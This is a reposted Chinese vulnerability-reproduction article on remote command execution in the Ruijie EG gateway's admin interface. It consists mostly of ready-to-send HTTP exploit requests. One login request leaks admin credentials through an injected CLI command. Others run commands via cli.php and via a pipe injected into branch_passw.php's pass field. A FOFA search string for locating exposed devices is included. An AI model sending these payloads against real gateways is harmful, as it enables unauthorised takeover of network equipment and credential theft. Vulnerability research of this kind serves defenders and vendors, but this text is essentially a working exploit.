锐捷 EG易网关后台 cli.php/branch_passw.php 远程代码执行漏洞

本文转载于公众号：融云攻防实验室，原文地址：

漏洞复现 锐捷 EG易网关后台 cli.php/branch_passw.php 远程代码执行漏洞

0x01 阅读须知

0x02 漏洞描述

锐捷网络是一家拥有包括交换机、路由器、软件、安全防火墙、无线产品、存储等全系列的网络设备产品线及解决方案的专业化网络厂商。锐捷EG易网关系统存在远程命令执行漏洞，攻击者通过漏洞可以获取服务器权限，导致服务器失陷。

0x03 漏洞复现

fofa：app=”Ruijie-EG易网关”

1.执行查看用户名和密码POC，show webmaster users得到回显，那么我就可以使用该账户密码，进后台执行命令获取权限

POST /login.php HTTP/1.1
Host: {{Hostname}}
User-Agent: Go-http-client/1.1
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

username=admin&password=admin?show+webmaster+user

2.cli.php执行whoami命令，得到回显

POST /cli.php?a=shell HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: LOCAL_LANG_COOKIE=zh; RUIJIEID=e2iuc40kc25v8bosaf04ee7273; user=admin; helpKey=home_sys
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 28

notdelay=true&command=whoami

3.或者branch_passw.php执行whoami命令，写入web根目录test.txt文件，再访问test.txt文件得到回显

POST /itbox_pi/branch_passw.php?a=set HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: LOCAL_LANG_COOKIE=zh; RUIJIEID=e2iuc40kc25v8bosaf04ee7273; user=admin; helpKey=home_sys
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

pass=|whoami>../test.txt